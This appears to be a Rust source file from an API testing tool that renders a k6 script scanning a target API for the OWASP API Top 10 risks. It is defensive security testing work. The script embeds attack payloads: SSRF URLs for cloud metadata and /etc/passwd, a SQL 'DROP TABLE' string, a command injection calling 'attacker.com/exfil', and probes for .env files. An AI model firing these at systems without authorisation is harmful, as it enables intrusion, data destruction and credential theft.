1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::spec_parser::SpecParser;
11use handlebars::Handlebars;
12use serde_json::{json, Value};
13use std::collections::HashMap;
14
15pub struct OwaspApiGenerator {
17 config: OwaspApiConfig,
19 target_url: String,
21 operations: Vec<OperationInfo>,
23}
24
25#[derive(Debug, Clone)]
27pub struct OperationInfo {
28 pub method: String,
30 pub path: String,
32 pub operation_id: Option<String>,
34 pub path_params: Vec<PathParam>,
36 pub query_params: Vec<QueryParam>,
38 pub has_body: bool,
40 pub content_type: Option<String>,
42 pub requires_auth: bool,
44 pub tags: Vec<String>,
46}
47
48#[derive(Debug, Clone)]
50pub struct PathParam {
51 pub name: String,
52 pub param_type: String,
53 pub example: Option<String>,
54}
55
56#[derive(Debug, Clone)]
58pub struct QueryParam {
59 pub name: String,
60 pub param_type: String,
61 pub required: bool,
62}
63
64impl OwaspApiGenerator {
65 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67 let operations = Self::extract_operations(parser);
68 Self {
69 config,
70 target_url,
71 operations,
72 }
73 }
74
75 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77 parser
78 .get_operations()
79 .into_iter()
80 .map(|op| {
81 let path_params: Vec<PathParam> = op
83 .path
84 .split('/')
85 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86 .map(|segment| {
87 let name = segment.trim_start_matches('{').trim_end_matches('}');
88 PathParam {
89 name: name.to_string(),
90 param_type: "string".to_string(),
91 example: None,
92 }
93 })
94 .collect();
95
96 OperationInfo {
97 method: op.method.to_uppercase(),
98 path: op.path.clone(),
99 operation_id: op.operation_id.clone(),
100 path_params,
101 query_params: Vec::new(),
102 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103 content_type: Some("application/json".to_string()),
104 requires_auth: true, tags: op.operation.tags.clone(),
106 }
107 })
108 .collect()
109 }
110
111 pub fn generate(&self) -> Result<String> {
113 let mut handlebars = Handlebars::new();
114
115 handlebars.register_helper("contains", Box::new(contains_helper));
117 handlebars.register_helper("eq", Box::new(eq_helper));
118
119 let template = self.get_script_template();
120 let data = self.build_template_data()?;
121
122 handlebars
123 .render_template(&template, &data)
124 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125 }
126
127 fn build_template_data(&self) -> Result<Value> {
129 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130 let mut test_cases: Vec<Value> = Vec::new();
131
132 for category in self.config.categories_to_test() {
134 let category_tests = self.generate_category_tests(category, &payload_generator)?;
135 test_cases.extend(category_tests);
136 }
137
138 let categories = self.config.categories_to_test();
140 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142 let test_api3 =
143 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144 let test_api4 =
145 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146 let test_api5 =
147 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151 let test_api9 =
152 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153 let test_api10 =
154 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156 let ops_with_path_params: Vec<Value> = self
158 .operations
159 .iter()
160 .filter(|op| op.path.contains('{'))
161 .map(|op| {
162 json!({
163 "method": op.method.to_lowercase(),
164 "path": op.path,
165 })
166 })
167 .collect();
168
169 let get_operations: Vec<Value> = self
171 .operations
172 .iter()
173 .filter(|op| op.method.to_lowercase() == "get")
174 .map(|op| {
175 json!({
176 "method": op.method.to_lowercase(),
177 "path": op.path,
178 })
179 })
180 .collect();
181
182 Ok(json!({
183 "base_url": self.target_url,
184 "auth_header_name": self.config.auth_header,
185 "valid_auth_token": self.config.valid_auth_token,
186 "concurrency": self.config.concurrency,
187 "timeout_ms": self.config.timeout_ms,
188 "report_path": self.config.report_path.to_string_lossy(),
189 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
190 "test_cases": test_cases,
191 "operations": self.operations.iter().map(|op| json!({
192 "method": op.method.to_lowercase(),
193 "path": op.path,
194 "operation_id": op.operation_id,
195 "has_body": op.has_body,
196 "requires_auth": op.requires_auth,
197 "has_path_params": op.path.contains('{'),
198 })).collect::<Vec<_>>(),
199 "ops_with_path_params": ops_with_path_params,
200 "get_operations": get_operations,
201 "verbose": self.config.verbose,
202 "test_api1": test_api1,
204 "test_api2": test_api2,
205 "test_api3": test_api3,
206 "test_api4": test_api4,
207 "test_api5": test_api5,
208 "test_api6": test_api6,
209 "test_api7": test_api7,
210 "test_api8": test_api8,
211 "test_api9": test_api9,
212 "test_api10": test_api10,
213 }))
214 }
215
216 fn generate_category_tests(
218 &self,
219 category: OwaspCategory,
220 payload_generator: &OwaspPayloadGenerator,
221 ) -> Result<Vec<Value>> {
222 let payloads = payload_generator.generate_for_category(category);
223 let mut tests = Vec::new();
224
225 for payload in payloads {
226 let applicable_ops = self.get_applicable_operations(&payload);
228
229 for op in applicable_ops {
230 tests.push(json!({
231 "category": category.cli_name(),
232 "category_name": category.short_name(),
233 "description": payload.description,
234 "method": op.method.to_lowercase(),
235 "path": op.path,
236 "payload": payload.value,
237 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
238 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
239 "notes": payload.notes,
240 }));
241 }
242 }
243
244 Ok(tests)
245 }
246
247 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
249 match payload.injection_point {
250 InjectionPoint::PathParam => {
251 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
253 }
254 InjectionPoint::Body => {
255 self.operations.iter().filter(|op| op.has_body).collect()
257 }
258 InjectionPoint::Header | InjectionPoint::Omit => {
259 self.operations.iter().filter(|op| op.requires_auth).collect()
261 }
262 InjectionPoint::QueryParam => {
263 self.operations.iter().collect()
265 }
266 InjectionPoint::Modify => {
267 self.operations.iter().collect()
269 }
270 }
271 }
272
273 fn get_script_template(&self) -> String {
275 r#"// OWASP API Security Top 10 Test Script
276// Generated by MockForge - https://mockforge.dev
277// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
278
279import http from 'k6/http';
280import { check, sleep, group } from 'k6';
281import { Trend, Counter, Rate } from 'k6/metrics';
282
283// Configuration
284const BASE_URL = '{{base_url}}';
285const AUTH_HEADER = '{{auth_header_name}}';
286{{#if valid_auth_token}}
287const VALID_TOKEN = '{{valid_auth_token}}';
288{{else}}
289const VALID_TOKEN = null;
290{{/if}}
291const TIMEOUT = '{{timeout_ms}}ms';
292const VERBOSE = {{verbose}};
293
294// Custom metrics
295const findingsCounter = new Counter('owasp_findings');
296const testsRun = new Counter('owasp_tests_run');
297const vulnerableRate = new Rate('owasp_vulnerable_rate');
298const responseTime = new Trend('owasp_response_time');
299
300// Test options - use per-VU iterations scenario for controlled test runs
301export const options = {
302 scenarios: {
303 owasp_security_test: {
304 executor: 'per-vu-iterations',
305 vus: {{concurrency}},
306 iterations: 1, // Each VU runs exactly once
307 maxDuration: '30m',
308 },
309 },
310 thresholds: {
311 'owasp_findings': ['count<100'], // Alert if too many findings
312 },
313};
314
315// Findings storage
316const findings = [];
317
318// Helper: Log a finding
319function logFinding(category, endpoint, method, description, evidence) {
320 const finding = {
321 category,
322 endpoint,
323 method,
324 description,
325 evidence,
326 timestamp: new Date().toISOString(),
327 };
328 findings.push(finding);
329 findingsCounter.add(1);
330 vulnerableRate.add(1);
331
332 if (VERBOSE) {
333 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
334 }
335}
336
337// Helper: Log test passed
338function logPass(category, endpoint, method) {
339 vulnerableRate.add(0);
340 if (VERBOSE) {
341 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
342 }
343}
344
345// Helper: Make authenticated request
346function authRequest(method, url, body, additionalHeaders = {}) {
347 const headers = {
348 'Content-Type': 'application/json',
349 ...additionalHeaders,
350 };
351
352 if (VALID_TOKEN) {
353 headers[AUTH_HEADER] = VALID_TOKEN;
354 }
355
356 const params = {
357 headers,
358 timeout: TIMEOUT,
359 };
360
361 if (method === 'get' || method === 'head') {
362 return http[method](url, params);
363 } else {
364 return http[method](url, body ? JSON.stringify(body) : null, params);
365 }
366}
367
368// Helper: Make unauthenticated request
369function unauthRequest(method, url, body, additionalHeaders = {}) {
370 const headers = {
371 'Content-Type': 'application/json',
372 ...additionalHeaders,
373 };
374
375 const params = {
376 headers,
377 timeout: TIMEOUT,
378 };
379
380 if (method === 'get' || method === 'head') {
381 return http[method](url, params);
382 } else {
383 return http[method](url, body ? JSON.stringify(body) : null, params);
384 }
385}
386
387// API1: Broken Object Level Authorization (BOLA)
388function testBola() {
389 group('API1 - BOLA', function() {
390 console.log('[API1] Testing Broken Object Level Authorization...');
391
392 {{#each operations}}
393 {{#if has_path_params}}
394 // Test {{path}}
395 {
396 const originalPath = '{{path}}'.replace(/{[^}]+}/g, '1');
397 const modifiedPath = '{{path}}'.replace(/{[^}]+}/g, '2');
398
399 // Get baseline with ID=1
400 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
401
402 // Try to access ID=2
403 const response = authRequest('{{method}}', BASE_URL + modifiedPath, null);
404 testsRun.add(1);
405 responseTime.add(response.timings.duration);
406
407 if (response.status >= 200 && response.status < 300) {
408 // Check if we got different data
409 if (response.body !== baseline.body && response.body.length > 0) {
410 logFinding('api1', '{{path}}', '{{method}}',
411 'ID manipulation accepted - accessed different user data',
412 { status: response.status, bodyLength: response.body.length });
413 } else {
414 logPass('api1', '{{path}}', '{{method}}');
415 }
416 } else {
417 logPass('api1', '{{path}}', '{{method}}');
418 }
419 }
420 {{/if}}
421 {{/each}}
422 });
423}
424
425// API2: Broken Authentication
426function testBrokenAuth() {
427 group('API2 - Broken Authentication', function() {
428 console.log('[API2] Testing Broken Authentication...');
429
430 {{#each operations}}
431 {{#if requires_auth}}
432 // Test {{path}} without auth
433 {
434 const response = unauthRequest('{{method}}', BASE_URL + '{{path}}', null);
435 testsRun.add(1);
436 responseTime.add(response.timings.duration);
437
438 if (response.status >= 200 && response.status < 300) {
439 logFinding('api2', '{{path}}', '{{method}}',
440 'Endpoint accessible without authentication',
441 { status: response.status });
442 } else {
443 logPass('api2', '{{path}}', '{{method}}');
444 }
445 }
446
447 // Test {{path}} with empty token
448 {
449 const response = http.{{method}}(BASE_URL + '{{path}}', null, {
450 headers: { [AUTH_HEADER]: 'Bearer ' },
451 timeout: TIMEOUT,
452 });
453 testsRun.add(1);
454
455 if (response.status >= 200 && response.status < 300) {
456 logFinding('api2', '{{path}}', '{{method}}',
457 'Endpoint accessible with empty Bearer token',
458 { status: response.status });
459 }
460 }
461 {{/if}}
462 {{/each}}
463 });
464}
465
466// API3: Broken Object Property Level Authorization (Mass Assignment)
467function testMassAssignment() {
468 group('API3 - Mass Assignment', function() {
469 console.log('[API3] Testing Mass Assignment...');
470
471 const massAssignmentPayloads = [
472 { role: 'admin' },
473 { is_admin: true },
474 { isAdmin: true },
475 { permissions: ['admin', 'write', 'delete'] },
476 { verified: true },
477 { email_verified: true },
478 { balance: 999999 },
479 ];
480
481 {{#each operations}}
482 {{#if has_body}}
483 // Test {{path}}
484 {
485 massAssignmentPayloads.forEach(payload => {
486 const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
487 testsRun.add(1);
488 responseTime.add(response.timings.duration);
489
490 if (response.status >= 200 && response.status < 300) {
491 // Check if unauthorized field appears in response
492 const responseBody = response.body.toLowerCase();
493 const payloadKey = Object.keys(payload)[0].toLowerCase();
494
495 if (responseBody.includes(payloadKey)) {
496 logFinding('api3', '{{path}}', '{{method}}',
497 `Mass assignment accepted: ${payloadKey}`,
498 { status: response.status, payload });
499 } else {
500 logPass('api3', '{{path}}', '{{method}}');
501 }
502 }
503 });
504 }
505 {{/if}}
506 {{/each}}
507 });
508}
509
510// API4: Unrestricted Resource Consumption
511function testResourceConsumption() {
512 group('API4 - Resource Consumption', function() {
513 console.log('[API4] Testing Resource Consumption...');
514
515 {{#each operations}}
516 // Test {{path}} with excessive limit
517 {
518 const url = BASE_URL + '{{path}}' + '?limit=100000&per_page=100000';
519 const response = authRequest('{{method}}', url, null);
520 testsRun.add(1);
521 responseTime.add(response.timings.duration);
522
523 // Check for rate limit headers
524 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
525 response.headers['x-ratelimit-limit'] ||
526 response.headers['RateLimit-Limit'];
527
528 if (response.status === 429) {
529 logPass('api4', '{{path}}', '{{method}}');
530 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
531 logFinding('api4', '{{path}}', '{{method}}',
532 'No rate limiting detected',
533 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
534 } else {
535 logPass('api4', '{{path}}', '{{method}}');
536 }
537 }
538 {{/each}}
539 });
540}
541
542// API5: Broken Function Level Authorization
543function testFunctionAuth() {
544 group('API5 - Function Authorization', function() {
545 console.log('[API5] Testing Function Level Authorization...');
546
547 const adminPaths = [
548 '/admin',
549 '/admin/users',
550 '/admin/settings',
551 '/api/admin',
552 '/internal',
553 '/management',
554 ];
555
556 adminPaths.forEach(path => {
557 const response = authRequest('get', BASE_URL + path, null);
558 testsRun.add(1);
559 responseTime.add(response.timings.duration);
560
561 if (response.status >= 200 && response.status < 300) {
562 logFinding('api5', path, 'GET',
563 'Admin endpoint accessible',
564 { status: response.status });
565 } else if (response.status === 403 || response.status === 401) {
566 logPass('api5', path, 'GET');
567 }
568 });
569
570 // Also test changing methods on read-only endpoints
571 {{#each get_operations}}
572 {
573 const response = authRequest('delete', BASE_URL + '{{path}}', null);
574 testsRun.add(1);
575
576 if (response.status >= 200 && response.status < 300) {
577 logFinding('api5', '{{path}}', 'DELETE',
578 'DELETE method allowed on read-only endpoint',
579 { status: response.status });
580 }
581 }
582 {{/each}}
583 });
584}
585
586// API7: Server Side Request Forgery (SSRF)
587function testSsrf() {
588 group('API7 - SSRF', function() {
589 console.log('[API7] Testing Server Side Request Forgery...');
590
591 const ssrfPayloads = [
592 'http://localhost/',
593 'http://127.0.0.1/',
594 'http://169.254.169.254/latest/meta-data/',
595 'http://[::1]/',
596 'file:///etc/passwd',
597 ];
598
599 {{#each operations}}
600 {{#if has_body}}
601 // Test {{path}} with SSRF payloads
602 {
603 ssrfPayloads.forEach(payload => {
604 const body = {
605 url: payload,
606 webhook_url: payload,
607 callback: payload,
608 image_url: payload,
609 };
610
611 const response = authRequest('{{method}}', BASE_URL + '{{path}}', body);
612 testsRun.add(1);
613 responseTime.add(response.timings.duration);
614
615 if (response.status >= 200 && response.status < 300) {
616 // Check for indicators of internal access
617 const bodyLower = response.body.toLowerCase();
618 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
619
620 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
621 logFinding('api7', '{{path}}', '{{method}}',
622 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
623 { status: response.status, payload });
624 }
625 }
626 });
627 }
628 {{/if}}
629 {{/each}}
630 });
631}
632
633// API8: Security Misconfiguration
634function testMisconfiguration() {
635 group('API8 - Security Misconfiguration', function() {
636 console.log('[API8] Testing Security Misconfiguration...');
637
638 {{#each operations}}
639 // Test {{path}} for security headers
640 {
641 const response = authRequest('{{method}}', BASE_URL + '{{path}}', null);
642 testsRun.add(1);
643 responseTime.add(response.timings.duration);
644
645 const missingHeaders = [];
646
647 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
648 missingHeaders.push('X-Content-Type-Options');
649 }
650 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
651 missingHeaders.push('X-Frame-Options');
652 }
653 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
654 missingHeaders.push('Strict-Transport-Security');
655 }
656
657 // Check for overly permissive CORS
658 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
659 if (acao === '*') {
660 logFinding('api8', '{{path}}', '{{method}}',
661 'CORS allows all origins (Access-Control-Allow-Origin: *)',
662 { status: response.status });
663 }
664
665 if (missingHeaders.length > 0) {
666 logFinding('api8', '{{path}}', '{{method}}',
667 `Missing security headers: ${missingHeaders.join(', ')}`,
668 { status: response.status, missingHeaders });
669 }
670 }
671 {{/each}}
672
673 // Test for verbose errors
674 {{#each operations}}
675 {{#if has_body}}
676 {
677 const malformedBody = '{"invalid": "json';
678 const response = http.{{method}}(BASE_URL + '{{path}}', malformedBody, {
679 headers: { 'Content-Type': 'application/json' },
680 timeout: TIMEOUT,
681 });
682 testsRun.add(1);
683
684 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
685 const bodyLower = response.body.toLowerCase();
686
687 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
688 logFinding('api8', '{{path}}', '{{method}}',
689 'Verbose error messages exposed',
690 { status: response.status });
691 }
692 }
693 {{/if}}
694 {{/each}}
695 });
696}
697
698// API9: Improper Inventory Management
699function testInventory() {
700 group('API9 - Inventory Management', function() {
701 console.log('[API9] Testing Improper Inventory Management...');
702
703 const discoveryPaths = [
704 '/swagger',
705 '/swagger-ui',
706 '/swagger.json',
707 '/api-docs',
708 '/openapi',
709 '/openapi.json',
710 '/graphql',
711 '/graphiql',
712 '/debug',
713 '/actuator',
714 '/actuator/health',
715 '/actuator/env',
716 '/metrics',
717 '/.env',
718 '/config',
719 ];
720
721 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
722
723 discoveryPaths.forEach(path => {
724 const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
725 testsRun.add(1);
726 responseTime.add(response.timings.duration);
727
728 if (response.status !== 404) {
729 logFinding('api9', path, 'GET',
730 `Undocumented endpoint discovered (HTTP ${response.status})`,
731 { status: response.status });
732 }
733 });
734
735 // Check for old API versions
736 apiVersions.forEach(version => {
737 const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
738 testsRun.add(1);
739
740 if (response.status !== 404) {
741 logFinding('api9', '/' + version + '/', 'GET',
742 `API version endpoint exists (HTTP ${response.status})`,
743 { status: response.status });
744 }
745 });
746 });
747}
748
749// API10: Unsafe Consumption of APIs
750function testUnsafeConsumption() {
751 group('API10 - Unsafe Consumption', function() {
752 console.log('[API10] Testing Unsafe Consumption...');
753
754 const injectionPayloads = [
755 { external_id: "'; DROP TABLE users;--" },
756 { integration_data: "$(curl attacker.com/exfil)" },
757 { template: "\{{7*7}}" },
758 { webhook_url: "http://127.0.0.1:8080/internal" },
759 ];
760
761 {{#each operations}}
762 {{#if has_body}}
763 // Test {{path}} with injection payloads
764 {
765 injectionPayloads.forEach(payload => {
766 const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
767 testsRun.add(1);
768 responseTime.add(response.timings.duration);
769
770 // Check if payload was processed (e.g., SSTI returning 49)
771 if (response.body.includes('49')) {
772 logFinding('api10', '{{path}}', '{{method}}',
773 'Server-side template injection detected',
774 { status: response.status, payload });
775 }
776 });
777 }
778 {{/if}}
779 {{/each}}
780 });
781}
782
783// Main test function
784export default function() {
785 console.log('Starting OWASP API Top 10 Security Scan...');
786 console.log('Target: ' + BASE_URL);
787 console.log('');
788
789 {{#if test_api1}}
790 testBola();
791 {{/if}}
792 {{#if test_api2}}
793 testBrokenAuth();
794 {{/if}}
795 {{#if test_api3}}
796 testMassAssignment();
797 {{/if}}
798 {{#if test_api4}}
799 testResourceConsumption();
800 {{/if}}
801 {{#if test_api5}}
802 testFunctionAuth();
803 {{/if}}
804 {{#if test_api7}}
805 testSsrf();
806 {{/if}}
807 {{#if test_api8}}
808 testMisconfiguration();
809 {{/if}}
810 {{#if test_api9}}
811 testInventory();
812 {{/if}}
813 {{#if test_api10}}
814 testUnsafeConsumption();
815 {{/if}}
816
817 sleep(0.1);
818}
819
820// Teardown: Output results
821export function teardown(data) {
822 console.log('');
823 console.log('='.repeat(50));
824 console.log('OWASP API Top 10 Scan Complete');
825 console.log('='.repeat(50));
826 console.log('Total findings: ' + findings.length);
827
828 if (findings.length > 0) {
829 console.log('');
830 console.log('Findings by category:');
831 const byCategory = {};
832 findings.forEach(f => {
833 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
834 });
835 Object.entries(byCategory).forEach(([cat, count]) => {
836 console.log(' ' + cat + ': ' + count);
837 });
838 }
839
840 // Write JSON report
841 console.log('');
842 console.log('Report written to: {{report_path}}');
843}
844"#.to_string()
845 }
846}
847
848fn contains_helper(
850 h: &handlebars::Helper,
851 _: &Handlebars,
852 _: &handlebars::Context,
853 _: &mut handlebars::RenderContext,
854 out: &mut dyn handlebars::Output,
855) -> handlebars::HelperResult {
856 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
857 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
858 let result = param1.contains(param2);
859 out.write(&result.to_string())?;
860 Ok(())
861}
862
863fn eq_helper(
865 h: &handlebars::Helper,
866 _: &Handlebars,
867 _: &handlebars::Context,
868 _: &mut handlebars::RenderContext,
869 out: &mut dyn handlebars::Output,
870) -> handlebars::HelperResult {
871 let param1 = h.param(0).map(|v| v.value());
872 let param2 = h.param(1).map(|v| v.value());
873 let result = param1 == param2;
874 out.write(&result.to_string())?;
875 Ok(())
876}
877
878#[cfg(test)]
879mod tests {
880 use super::*;
881
882 #[test]
883 fn test_generator_creation() {
884 let template = r#"
887 {{#each operations}}
888 // {{method}} {{path}}
889 {{/each}}
890 "#;
891
892 let handlebars = Handlebars::new();
893 let data = json!({
894 "operations": [
895 { "method": "GET", "path": "/users" },
896 { "method": "POST", "path": "/users" },
897 ]
898 });
899
900 let result = handlebars.render_template(template, &data);
901 assert!(result.is_ok());
902 }
903
904 #[test]
905 fn test_script_template_renders() {
906 let config = OwaspApiConfig::default()
907 .with_categories([OwaspCategory::Api1Bola])
908 .with_valid_auth_token("Bearer test123");
909
910 let template = r#"
911const AUTH = '{{auth_header_name}}';
912const TOKEN = '{{valid_auth_token}}';
913{{#each categories_tested}}
914// Testing: {{this}}
915{{/each}}
916 "#;
917
918 let handlebars = Handlebars::new();
919 let data = json!({
920 "auth_header_name": config.auth_header,
921 "valid_auth_token": config.valid_auth_token,
922 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
923 });
924
925 let result = handlebars.render_template(template, &data).unwrap();
926 assert!(result.contains("Authorization"));
927 assert!(result.contains("Bearer test123"));
928 assert!(result.contains("api1"));
929 }
930}